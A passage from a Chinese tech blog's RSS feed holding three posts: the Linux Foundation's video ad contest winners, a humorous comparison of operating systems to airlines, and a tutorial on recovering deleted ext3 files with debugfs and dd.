src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>今年早些时候，Linux基金会发起了一项面向制作人和一般Linux爱好者的活动，创造60秒创意的广告并评奖。</strong></p>\n<p>Linux基金会并没有苹果和微软这样大的投入来聘请大腕，但这次评选出来的好广告却一点也不输于他们，Linux社团的参与力和灵感可见一斑。<strong>本次活动获胜的奖品是免费前往东京参与Linux专题研讨会，评奖结果是：</strong></p>\n<p>第一：“<a title=\"What does it mean to be free?\" href=\"http://video.linuxfoundation.org/video/1106\" target=\"_blank\">What does it mean to be free?</a>”<br />\n第二：“<a title=\"The Origin\" href=\"http://video.linuxfoundation.org/video/1262\" target=\"_blank\">The Origin,</a>”<br />\n第三：“<a title=\"Linux pub\" href=\"http://video.linuxfoundation.org/video/1154\" target=\"_blank\">Linux pub</a>”</p>\n<p> 下面是广告片的视频</p>\n<p><span id=\"more-1283\"></span></p>\n<h4>What does it mean to be free?</h4>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"420\" height=\"363\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><param name=\"wmode\" value=\"opaque\" /><param name=\"src\" value=\"http://www.tudou.com/v/6ftVf_bMxg0\" /><param name=\"allowfullscreen\" value=\"true\" /><embed type=\"application/x-shockwave-flash\" width=\"420\" height=\"363\" src=\"http://www.tudou.com/v/6ftVf_bMxg0\" allowfullscreen=\"true\" allowscriptaccess=\"always\" wmode=\"opaque\"></embed></object><br />\n </p>\n<h4>The Origin (起源)</h4>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"480\" height=\"400\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"><param name=\"align\" value=\"middle\" /><param name=\"src\" value=\"http://player.youku.com/player.php/sid/XODQ3NjM5ODQ=/v.swf\" /><param name=\"quality\" value=\"high\" /><embed type=\"application/x-shockwave-flash\" width=\"480\" height=\"400\" src=\"http://player.youku.com/player.php/sid/XODQ3NjM5ODQ=/v.swf\" quality=\"high\" align=\"middle\"></embed></object></p>\n<h4>Linux Pub</h4>\n<p>下面的视频需要你能够访问YouTube（你可以上Google搜索如何访问YouTube的方法）<br />\n<object width=\"425\" height=\"344\"><param name=\"movie\" value=\"http://www.youtube.com/v/xceiMJSunIg&#038;hl=en&#038;fs=1&#038;\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/xceiMJSunIg&#038;hl=en&#038;fs=1&#038;\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"425\" height=\"344\"></embed></object></p>\n<p>还有很多很不错的作品，比如：</p>\n<ul>\n<li><a href=\"http://video.linuxfoundation.org/video/1271\" target=\"_blank\">The Future is Open</a></li>\n<li><a href=\"http://video.linuxfoundation.org/video/1261\">Challenges at the Office</a></li>\n</ul>\n<p>更多的视频，你可以上Linux基金会的网站上看看，也一样地非常地有创意。</p>\n<p><a href=\"http://video.linuxfoundation.org/category/video-category/-linux-foundation-video-contest\" target=\"_blank\">http://video.linuxfoundation.org/category/video-category/-linux-foundation-video-contest</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1283.html\">Linux基金会的广告</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1283.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>操作系统航空公司</title>\n\t\t<link>https://coolshell.cn/articles/1272.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1272.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 16 Aug 2009 04:54:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Mac]]></category>\n\t\t<category><![CDATA[OS X]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1272</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 我们知道，不同的操作系统有不同的系统，不同的风格，那么，如果操作系统和航空公司，会是怎么样的一种情况？让我们尝试地来做这样一个幽默的类比，把操作系统的特点带到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1272.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-1276\" title=\"Linux 航空公司\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/linux_airline.jpg\" alt=\"Linux 航空公司\" width=\"240\" height=\"180\" /> 我们知道，不同的操作系统有不同的系统，不同的风格，那么，如果操作系统和航空公司，会是怎么样的一种情况？让我们尝试地来做这样一个幽默的类比，把操作系统的特点带到航空公司，让我们看看会是怎么样的一个情况。</p>\n<p><strong>UNIX Airways</strong></p>\n<p>Unix航空公司需要每一个人在乘机的时候带上一个飞机零件，他们会在飞机跑道上把飞机的这些零件一片一片地组装起来，然后，在不停地争论着倒底是要建造什么样的飞机。是AIX，还是Solaris？是FreeBSD还是HP-UX？……</p>\n<p><strong>Air DOS</strong></p>\n<p>DOS 航空公司的飞机需要每一位乘客在后面推飞机直到飞机开始滑行，然后他们跳上飞机并且跟着飞机一起沿着海岸滑行直至飞机再次掉到地面，然后乘客们再次推动飞机，然后跳上飞，如此循环不止……</p>\n<p><span id=\"more-1272\"></span></p>\n<p><strong>Mac Airlines</strong></p>\n<p>Mac航空公司中，所有的乘务员，机长，行李搬运工，和机票代理无论是看上去还是行为上都是完全一致的。每次当你询问细节的时候，他们都会很绅士地但很坚定地告诉你，你不需要知道那么多的细节，也没有必要知道，所有一切的事情都已经在你不需要知道的情况下完成了，所以，你只需要shut up。</p>\n<p><strong>Windows Air</strong></p>\n<p>Windows航空公司的航站楼是那么的漂亮和多彩，并且有非常友好的乘务员，相当简单的行李和乘机手续，同样平滑的离站程序。但是，当飞机起飞10分钟后，通常飞机会在没有任何警告的情况下就爆炸了。</p>\n<p><strong>Windows NT Air</strong></p>\n<p>Windows NT航空公司和Windows航空公司一样，但是他的成本更高，使用更大型的飞机，并且当其爆炸的时候，你可以换乘在40英里半径内的其它飞行器。</p>\n<p><strong>Windows XP Air</strong></p>\n<div id=\"result_box\" style=\"TEXT-ALIGN: left\" dir=\"ltr\">您所在的这个机场，根据合同，只允许乘坐XP的航空飞机。所有的飞机是相同的，明亮的色彩，以及比原来的需要大3倍。XP航空公司的标志是巨大的，并都指向相同的方向。无论你走哪一条路，有些身穿斗篷和戴着尖角帽子的人会坚持地跟着你走。你的行李和衣物都会被拿走并被XP航空套装和相同的XP手提箱所取代，你周围的人都和你有一样套装和手提箱，当然，这些东西的成本都会包含在机票中。如果你不签合，飞机不会起飞。飞机途中的娱乐表演承诺和实际是一样的，那就是米老鼠动画片会一遍一遍地播放。在你需要吃东西喝饮料的前，你不得不先打电话给你的旅行社。在整个航行过程中你都被会搜索。如果你去厕所两次以上，你得再补一张票。无论你所预订的目的地是哪里，你永远都会最终被迫降在加拿大的惠斯勒（Whistler）。</div>\n<p><strong> OS X Air</strong></p>\n<p>你进入了一个白色的航站楼，你所能看到的是一个坐在角落白桌子后面的一位女士，你走上去取你的机票。她微笑地对你说，“欢迎乘座OS X航空公司，请您允许我给您照张相”，她一边指向了在墙上你没注意到的已经给你拍了照的照相机，一边对你说，“谢谢，这是您的机票”。一张最少上面有你照片的机票被递到了你的手上，上面已经有了你所有的信息。你右边的一扇门打开了，你走了进去，你看到了一个很宽敞的空间，只有一个座位在中间，你坐下，听着音乐，看着电影，直到飞行结束。你自始至终都不会看到其它的乘客。当你登陆下机的时候，你对你自己说：“哇，这确实相当的好啊，但感觉好像少了些什么”。</p>\n<p><strong>Windows Vista Airlines</strong></p>\n<p>你进入了一个非常漂亮的航站楼，旁边停着一架你从未见过的超级大的飞机。每隔10英尺，都会有一个安全人员出现，并问你是否“确认”你想要继续向前乘坐飞机，或者你可以取消这个飞行，当然，我们并不知道取消会意味着什么。你继续前行到一个桌子前询问为什么这架飞机那么大？在安全人员向你确认过你需要问问题并且你确实要听到回答后，工作人员告诉你，这是世界上最大的飞机，是因为它可以让乘客们感觉更好，但是因飞机的需求需要把飞机被设计成要比正常飞行速度慢两倍，所以他们只好加大尺寸，这样才能达到让他速度变慢的目标。</p>\n<p>一旦上了飞机，每一个乘客都会被乘务员单独地询问是否真的想要乘坐本次航班，因为这是公司的制度规定。同样，机场还会再向大家再次询问同样的问题。当你回答了若干次“是”以后，你却被一些陌生人（黑客）在你的脸上打了一拳，因为那些陌生人问你：“你真确定我可以打你的脸吗？‘确定’或是‘取消’”，而你却条件反射地回答了“确定”。</p>\n<p>在起飞的以后，飞行员意识到飞机的起落架驱动没有被更新，不能和新型的飞机在一些工作。所以，在整个飞机过程中，起落架都在处于降落的状态。这样一来，整个飞机飞行得更慢，但是飞行员继续飞行这样飞机，他们希望起落架的生产产商会尽快地给一个最新版本符合Vista航空公司标准的起落架驱动程序更新。</p>\n<p>终于，你到达了你的目的地，你却得到的是Windows XP航空公司的奖励里程而不是尝试新型的飞机的奖励。你的一个亲密的朋友在听过你的故事以后，告诉你Linux航空公司会好得多。</p>\n<p><strong>Linux Air</strong></p>\n<p>对其它所有航空公司都不满的员工决定离开他们自己的航空公司。他们开始自己建造飞机，机票柜台，以及自己铺设飞机跑道。他们只用很少的费用给你提供可打印的机票，但你完全可以自己下载下来打印机票。</p>\n<p>当你登机的时候，会有人递给你一个座位，四个螺栓，一个扳手和一本“安装座位-HOWTO.html”手册。一但安装好了，可随意调整或更改的座位可能让你相当地舒服，从飞机离开到目的地，其几乎不会发生一个错误，而且，飞机过程中的飞行餐非常不错。你会想去告诉选乘别的航空公司的乘客你那完美的经历，但你所能得到的回答是一句反问，“乘座飞机还要自己去安装自己的座位？”。</p>\n<p>（全文完）</p>\n<p>文章：<a href=\"http://www.linuxscrew.com/2007/10/07/fun-linux-unix-windows-os-x-and-dos-airlines/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1272.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>恢复Ext3下被删除的文件</title>\n\t\t<link>https://coolshell.cn/articles/1265.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1265.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 14 Aug 2009 02:31:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[debugfs]]></category>\n\t\t<category><![CDATA[ext3]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1265</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 下面是这个教程将教你如何在Ext3的文件系统中恢复被rm掉的文件。 假设我们有一个文件名叫 &#8216;test.txt&#8217;  $ls -il t...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1265.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1265.html\">恢复Ext3下被删除的文件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script> 下面是这个教程将教你如何在Ext3的文件系统中恢复被rm掉的文件。</p>\n<p>假设我们有一个文件名叫 &#8216;test.txt&#8217;</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-style: italic;\"> </span><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$ls -il test.txt</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\"> 15 -rw-rw-r&#8211; 2 root root 20 Apr 17 12:08 test.txt</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"> </span></div>\n<p>注意：: &#8220;-il&#8221; 选项表示显示文件的i-node号（15），如果你不知道Unix/Linux文件系统的“I结点”的话，你有必要先补充一下相关的知识。简单说来，i结点就是操作管理文件的一个标识号。</p>\n<p><span id=\"more-1265\"></span></p>\n<p>我们再看一下其内容：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$ cat test.txt</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">this is test file</span></span><br style=\"font-style: italic;\" /></div>\n<p>好，现在我们开始删除文件：.</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$rm test.txt</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">rm: remove write-protected regular file <code data-enlighter-language=\"mytest\" class=\"EnlighterJSRAW\">test.txt&#039;? y&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;\n \n&lt;h4&gt;使用 Journal 和 Inode 号恢复&lt;/h4&gt;\n注意，如果你删除文件后重启了系统，那么，相关的文件 journal 会丢失，我们也就无法恢复文件了。所以，恢复文件的前提是，Journal不能丢失，即，系统不能重启。\n\n因为我们已经知道 test.txt 文件的 inode 号是 15，所以我们可以使用 debugfs 命令来查看：\n&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;debugfs: logdump -i &lt;15&gt;&lt;/span&gt;&lt;/span&gt;\n&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;FS block 1006 logged at sequence 404351, journal block 7241&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;(inode block for inode 15):&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Inode: 15 Type: regular Mode: 0664 Flags: 0x0 Generation: 0&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;User: 0 Group: 0 Size: 20&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;File ACL: 0 Directory ACL: 0&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Links: 1 Blockcount: 8&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Fragment: Address: 0 Number: 0 Size: 0&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;ctime: 0x48159f2d -- Mon Apr 28 15:25:57 2008&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;atime: 0x48159f27 -- Mon Apr 28 15:25:51 2008&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;mtime: 0x4806f070 -- Thu Apr 17 12:08:40 2008&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Blocks: (0+1): 10234&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;No magic number at block 7247: end of journal.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;/div&gt;\n&lt;span style=&quot;font-weight: bold;&quot;&gt;\n&lt;/span&gt;请注意上面信息中的这一行：\n&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Blocks: (0+1): 10234&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;\n这就是inode 15存放文件的地址（数据块）。然后，我们知道了这个地址，我们就可以使用 dd 命令，把这个地址上的数据给取出来。\n&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;#dd if=/dev/sda5 of=/tmp/test.txt bs=4096 count=1 skip= 10234&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;1+0 records in&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;1+0 records out&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;/div&gt;\n&lt;ul&gt;\n\t&lt;li&gt;if 是输入的设备&lt;/li&gt;\n\t&lt;li&gt;of 是输出的设备.&lt;/li&gt;\n\t&lt;li&gt;bs 指定一个block的大小&lt;/li&gt;\n\t&lt;li&gt;count 说明有多少个block需要dump&lt;/li&gt;\n\t&lt;li&gt;skip 说明从开始的地方跳过 10234 个block，并从取下一个block的数据&lt;/li&gt;\n&lt;/ul&gt;\n下面让我们看一下被恢复的文件：\n&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;$cat /tmp/test.txt &lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;this is test file&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot; /&gt;&lt;/div&gt;\n&lt;span style=&quot;font-weight: bold;&quot;&gt;\n&lt;/span&gt;当然，上面的文件恢复是基于我们知道文件的inode，可在现实中，我们并不知道这个信息，如果我们不知道inode，我们还可能恢复吗？是的，这是可能的，让我们来看一下如何恢复。\n&lt;h4&gt;使用 Journal 和 文件名恢复&lt;/h4&gt;\n如果我们不知道文件的inode我们可能恢复吗？我可以告诉你，这是不可能的事情。不过我们有办法知道文件的inode号。下面让我们来看看怎么做到：\n&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold; font-style: italic;&quot;&gt;$rm mytest.txt&lt;/span&gt;&lt;br style=&quot;font-weight: bold; font-style: italic;&quot; /&gt;&lt;span style=&quot;font-weight: bold; font-style: italic;&quot;&gt;rm: remove write-protected regular file </code>.txt&#8217;? y</span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>注意，我们并不知道其inode号，但我们可以使用 debugfs 命令来查看（使用其 ls -d 选项）。</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">debugfs:  ls -d</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\"> 2  (12) .    2  (12) ..    11  (20) lost+found    2347777  (20) oss</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">&lt;2121567&gt; (20) mytest.txt</span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>你看文件名了吧，它的inode号是 &lt;2121567&gt; ，注意，被删除了的文件的inode都是用尖括号包起来的。</p>\n<p>即然知道了inode号，那么我们就很容易恢复了（使用 logdump选项）：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">debugfs:  logdump -i &lt;2121567&gt;</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">Inode 2121567 is at group 65, block 2129985, offset 3840</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">Journal starts at block 1, transaction 405642</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">  FS block 2129985 logged at sequence 405644, journal block 9</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    (inode block for inode 2121567):</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Inode: 2121567   Type: bad type        Mode:  0000   Flags: 0x0   Generation: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    User:     0   Group:     0   Size: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    File ACL: 0    Directory ACL: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Links: 0   Blockcount: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Fragment:  Address: 0    Number: 0    Size: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    ctime: 0x00000000 &#8212; Thu Jan  1 05:30:00 1970</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    atime: 0x00000000 &#8212; Thu Jan  1 05:30:00 1970</span><br style=\"font-weight: bold; font-style: italic;\" /><span 